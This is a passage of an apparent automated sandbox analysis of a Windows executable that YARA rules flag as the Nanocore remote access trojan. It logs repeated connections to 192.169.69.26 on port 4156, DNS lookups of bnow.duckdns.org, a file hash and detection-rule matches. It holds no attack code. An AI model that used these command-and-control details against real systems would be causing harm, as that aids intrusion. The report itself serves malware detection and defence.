Apr 9, 2021 09:12:24.997051954 CEST	4156	49717	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:29.067912102 CEST	49719	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:29.507752895 CEST	4156	49719	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:29.507895947 CEST	49719	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:29.508481026 CEST	49719	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:29.997241974 CEST	4156	49719	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:34.059932947 CEST	49720	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:34.508028030 CEST	4156	49720	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:34.508245945 CEST	49720	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:34.509319067 CEST	49720	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:34.995673895 CEST	4156	49720	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:39.521146059 CEST	49723	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:40.001029968 CEST	4156	49723	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:40.001211882 CEST	49723	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:40.003182888 CEST	49723	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:40.497117043 CEST	4156	49723	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:44.767235041 CEST	49724	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:45.010044098 CEST	4156	49724	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:45.011923075 CEST	49724	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:45.016508102 CEST	49724	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:45.498797894 CEST	4156	49724	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:49.559271097 CEST	49725	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:50.005496979 CEST	4156	49725	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:50.005661964 CEST	49725	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:50.006896973 CEST	49725	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:50.497054100 CEST	4156	49725	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:54.582216024 CEST	49727	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:55.007596016 CEST	4156	49727	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:55.008681059 CEST	49727	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:55.009404898 CEST	49727	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:12:55.499175072 CEST	4156	49727	192.169.69.26	192.168.2.4
Apr 9, 2021 09:12:59.561006069 CEST	49728	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:00.006057978 CEST	4156	49728	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:00.006227016 CEST	49728	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:00.007116079 CEST	49728	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:00.498013973 CEST	4156	49728	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:04.565311909 CEST	49729	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:05.004597902 CEST	4156	49729	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:05.004786015 CEST	49729	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:05.005943060 CEST	49729	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:05.497647047 CEST	4156	49729	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:09.912117958 CEST	49730	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:10.493976116 CEST	4156	49730	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:10.494172096 CEST	49730	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:10.545449018 CEST	49730	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:11.001920938 CEST	4156	49730	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:15.122973919 CEST	49734	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:15.510935068 CEST	4156	49734	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:15.511249065 CEST	49734	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:15.512012005 CEST	49734	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:15.997860909 CEST	4156	49734	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:20.430021048 CEST	49735	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:20.994152069 CEST	4156	49735	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:20.994333029 CEST	49735	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:20.995681047 CEST	49735	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:21.497987986 CEST	4156	49735	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:25.550151110 CEST	49736	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:26.006069899 CEST	4156	49736	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:26.006290913 CEST	49736	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:26.201534033 CEST	49736	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:26.512059927 CEST	4156	49736	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:30.554095030 CEST	49737	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:31.005081892 CEST	4156	49737	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:31.005388975 CEST	49737	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:31.006076097 CEST	49737	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:31.497755051 CEST	4156	49737	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:35.587697029 CEST	49738	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:36.009234905 CEST	4156	49738	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:36.009345055 CEST	49738	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:36.010010004 CEST	49738	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:36.499799013 CEST	4156	49738	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:40.553240061 CEST	49739	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:41.006194115 CEST	4156	49739	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:41.006989956 CEST	49739	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:41.007014990 CEST	49739	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:41.498205900 CEST	4156	49739	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:45.574934959 CEST	49740	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:46.008480072 CEST	4156	49740	192.169.69.26	192.168.2.4
Apr 9, 2021 09:13:46.009953976 CEST	49740	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:46.010690928 CEST	49740	4156	192.168.2.4	192.169.69.26
Apr 9, 2021 09:13:46.497483015 CEST	4156	49740	192.169.69.26	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2021 09:12:09.045129061 CEST	62286	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:09.230881929 CEST	53	62286	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:09.797127008 CEST	65195	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:09.809694052 CEST	53	65195	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:11.119560003 CEST	59042	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:11.132657051 CEST	53	59042	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:12.257796049 CEST	56483	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:12.270549059 CEST	53	56483	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:14.118443966 CEST	51025	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:14.301095009 CEST	53	51025	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:15.533416986 CEST	61516	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:15.545847893 CEST	53	61516	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:17.481293917 CEST	49182	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:17.493803024 CEST	53	49182	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:18.713726997 CEST	59920	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:18.725967884 CEST	53	59920	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:19.060854912 CEST	57458	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:19.073874950 CEST	53	57458	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:22.282330036 CEST	50579	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:22.297053099 CEST	53	50579	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:24.121268034 CEST	51703	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:24.135787010 CEST	53	51703	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:24.702055931 CEST	65248	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:24.716512918 CEST	53	65248	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:29.052061081 CEST	53723	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:29.065699100 CEST	53	53723	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:34.044817924 CEST	64646	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:34.058186054 CEST	53	64646	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:36.813325882 CEST	65298	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:36.825968027 CEST	53	65298	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:37.937252998 CEST	59123	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:37.950172901 CEST	53	59123	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:39.474596024 CEST	54531	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:39.488039970 CEST	53	54531	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:44.538608074 CEST	49714	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:44.718097925 CEST	53	49714	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:49.545052052 CEST	58028	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:49.558068037 CEST	53	58028	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:53.326663017 CEST	53097	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:53.345815897 CEST	53	53097	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:54.566093922 CEST	49257	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:54.579361916 CEST	53	49257	8.8.8.8	192.168.2.4
Apr 9, 2021 09:12:59.546444893 CEST	62389	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:12:59.559353113 CEST	53	62389	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:04.549829006 CEST	49910	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:04.563720942 CEST	53	49910	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:09.729953051 CEST	55854	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:09.910959959 CEST	53	55854	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:10.115350962 CEST	64549	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:10.128447056 CEST	53	64549	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:11.524642944 CEST	63153	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:11.537162066 CEST	53	63153	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:12.763652086 CEST	52991	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:12.776281118 CEST	53	52991	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:15.108203888 CEST	53700	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:15.120953083 CEST	53	53700	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:20.247128010 CEST	51726	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:20.428515911 CEST	53	51726	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:25.533289909 CEST	56794	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:25.547899008 CEST	53	56794	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:30.540427923 CEST	56534	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:30.552953005 CEST	53	56534	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:35.573034048 CEST	56627	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:35.586236000 CEST	53	56627	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:40.537264109 CEST	56621	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:40.550664902 CEST	53	56621	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:45.556974888 CEST	63116	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:45.570247889 CEST	53	63116	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:46.076247931 CEST	64078	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:46.089632034 CEST	53	64078	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:47.470541000 CEST	64801	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:47.483424902 CEST	53	64801	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:50.692102909 CEST	61721	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:50.705059052 CEST	53	61721	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:55.571553946 CEST	51255	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:55.751645088 CEST	53	51255	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:58.288877964 CEST	61522	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:58.304500103 CEST	53	61522	8.8.8.8	192.168.2.4
Apr 9, 2021 09:13:59.494648933 CEST	52337	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:13:59.508196115 CEST	53	52337	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:00.571449995 CEST	55046	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:00.616303921 CEST	49612	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:00.630390882 CEST	53	49612	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:00.753607035 CEST	53	55046	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:02.121294022 CEST	49285	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:02.134210110 CEST	53	49285	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:05.028162956 CEST	50601	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:05.040623903 CEST	53	50601	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:05.586483955 CEST	60875	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:05.599514008 CEST	53	60875	8.8.8.8	192.168.2.4
Apr 9, 2021 09:14:10.505343914 CEST	56448	53	192.168.2.4	8.8.8.8
Apr 9, 2021 09:14:10.518099070 CEST	53	56448	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 9, 2021 09:12:09.045129061 CEST	192.168.2.4	8.8.8.8	0x46be	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:14.118443966 CEST	192.168.2.4	8.8.8.8	0xdd87	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:19.060854912 CEST	192.168.2.4	8.8.8.8	0xbb0e	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:24.121268034 CEST	192.168.2.4	8.8.8.8	0x31f1	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:29.052061081 CEST	192.168.2.4	8.8.8.8	0x1130	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:34.044817924 CEST	192.168.2.4	8.8.8.8	0xe29c	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:39.474596024 CEST	192.168.2.4	8.8.8.8	0xf183	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:44.538608074 CEST	192.168.2.4	8.8.8.8	0x1afa	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:49.545052052 CEST	192.168.2.4	8.8.8.8	0x657e	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:54.566093922 CEST	192.168.2.4	8.8.8.8	0x17a5	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:59.546444893 CEST	192.168.2.4	8.8.8.8	0x6fd6	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:04.549829006 CEST	192.168.2.4	8.8.8.8	0x646b	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:09.729953051 CEST	192.168.2.4	8.8.8.8	0xfaba	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:15.108203888 CEST	192.168.2.4	8.8.8.8	0xc87a	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:20.247128010 CEST	192.168.2.4	8.8.8.8	0x1e08	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:25.533289909 CEST	192.168.2.4	8.8.8.8	0x4adc	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:30.540427923 CEST	192.168.2.4	8.8.8.8	0x402c	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:35.573034048 CEST	192.168.2.4	8.8.8.8	0x388e	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:40.537264109 CEST	192.168.2.4	8.8.8.8	0xad64	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:45.556974888 CEST	192.168.2.4	8.8.8.8	0x44a5	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:50.692102909 CEST	192.168.2.4	8.8.8.8	0x2697	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:55.571553946 CEST	192.168.2.4	8.8.8.8	0xfea7	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:00.571449995 CEST	192.168.2.4	8.8.8.8	0x951d	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:05.586483955 CEST	192.168.2.4	8.8.8.8	0x176b	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:10.505343914 CEST	192.168.2.4	8.8.8.8	0xd4f0	Standard query (0)	bnow.duckdns.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Apr 9, 2021 09:12:09.230881929 CEST	8.8.8.8	192.168.2.4	0x46be	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:14.301095009 CEST	8.8.8.8	192.168.2.4	0xdd87	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:19.073874950 CEST	8.8.8.8	192.168.2.4	0xbb0e	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:24.135787010 CEST	8.8.8.8	192.168.2.4	0x31f1	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:29.065699100 CEST	8.8.8.8	192.168.2.4	0x1130	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:34.058186054 CEST	8.8.8.8	192.168.2.4	0xe29c	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:39.488039970 CEST	8.8.8.8	192.168.2.4	0xf183	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:44.718097925 CEST	8.8.8.8	192.168.2.4	0x1afa	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:49.558068037 CEST	8.8.8.8	192.168.2.4	0x657e	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:54.579361916 CEST	8.8.8.8	192.168.2.4	0x17a5	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:12:59.559353113 CEST	8.8.8.8	192.168.2.4	0x6fd6	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:04.563720942 CEST	8.8.8.8	192.168.2.4	0x646b	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:09.910959959 CEST	8.8.8.8	192.168.2.4	0xfaba	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:15.120953083 CEST	8.8.8.8	192.168.2.4	0xc87a	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:20.428515911 CEST	8.8.8.8	192.168.2.4	0x1e08	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:25.547899008 CEST	8.8.8.8	192.168.2.4	0x4adc	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:30.552953005 CEST	8.8.8.8	192.168.2.4	0x402c	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:35.586236000 CEST	8.8.8.8	192.168.2.4	0x388e	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:40.550664902 CEST	8.8.8.8	192.168.2.4	0xad64	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:45.570247889 CEST	8.8.8.8	192.168.2.4	0x44a5	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:50.705059052 CEST	8.8.8.8	192.168.2.4	0x2697	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:13:55.751645088 CEST	8.8.8.8	192.168.2.4	0xfea7	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:00.753607035 CEST	8.8.8.8	192.168.2.4	0x951d	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:05.599514008 CEST	8.8.8.8	192.168.2.4	0x176b	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)
Apr 9, 2021 09:14:10.518099070 CEST	8.8.8.8	192.168.2.4	0xd4f0	No error (0)	bnow.duckdns.org	192.169.69.26	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe PID: 4824 Parent PID: 5892

General

Start time:	09:12:05
Start date:	09/04/2021
Path:	C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe'
Imagebase:	0xc10000
File size:	1414144 bytes
MD5 hash:	2C59E3C9AC546660688AECD2202C4713
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657377068.0000000004411000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657670286.00000000043AA000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657021057.0000000004411000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657165098.0000000004443000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657091482.0000000004377000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.686611138.0000000004311000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.658709178.0000000004377000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.685001996.00000000016B9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.658639168.0000000004622000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.656977215.00000000016B9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.657231934.000000000196D000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.657631854.0000000004411000.00000004.00000001.sdmp, Author: Joe Security 